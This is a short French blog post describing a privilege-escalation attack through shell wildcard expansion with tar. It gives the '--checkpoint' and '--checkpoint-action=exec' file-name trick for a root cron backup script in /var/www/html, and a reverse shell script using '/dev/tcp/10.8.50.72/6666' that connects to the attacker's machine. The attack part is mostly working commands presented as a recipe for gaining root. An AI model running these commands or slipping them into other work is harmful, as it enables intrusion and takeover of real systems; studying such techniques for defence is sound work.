Vulnérabilité dûe à l’expansion du shell (exemple avec l’utilitaire tar)

Lorsqu’on utilise le caractère * dans une commande shell, celui-ci signifie “tous les fichiers”

Lorsqu’on administrateur utilise une commande tar (ou possiblement d’autres), il faut faire attention, car il y a des options pour obtenir un shell listés suf gtfobins


--checkpoint=1 
--checkpoint-action=exec=/bin/sh

Donc en créant ces fichiers et un fichier de commandes dans le répertoire que la commande tar sera utilisé, nous pouvons exécuter ce que nous voulons en tant qu’administrateur.

si un un administrateur exécute le script backup.sh contenant


#!/bin/bash
cd /var/www/html
tar cf /home/germain/backup.tgz *

Il nous suffit de créer les fichiers mentionnés plus haut dans le répertoire /var/www/html ainsi qu’un fichier “shell” pour obtenir un shell inverse sur la machine de l’attaquant


#!/bin/bash
bash -i >& /dev/tcp/10.8.50.72/6666 0>&1

On renomme ici le fichier “–checkpoint-action=exec=/bin/sh” en “–checkpoint-action=exec=bash shell”. On rend le fichier shell exécutable (chmod +x /var/www/html/shell)

Lorsque le crontab s’exécutera, nous serons administrateur.

Leave a Reply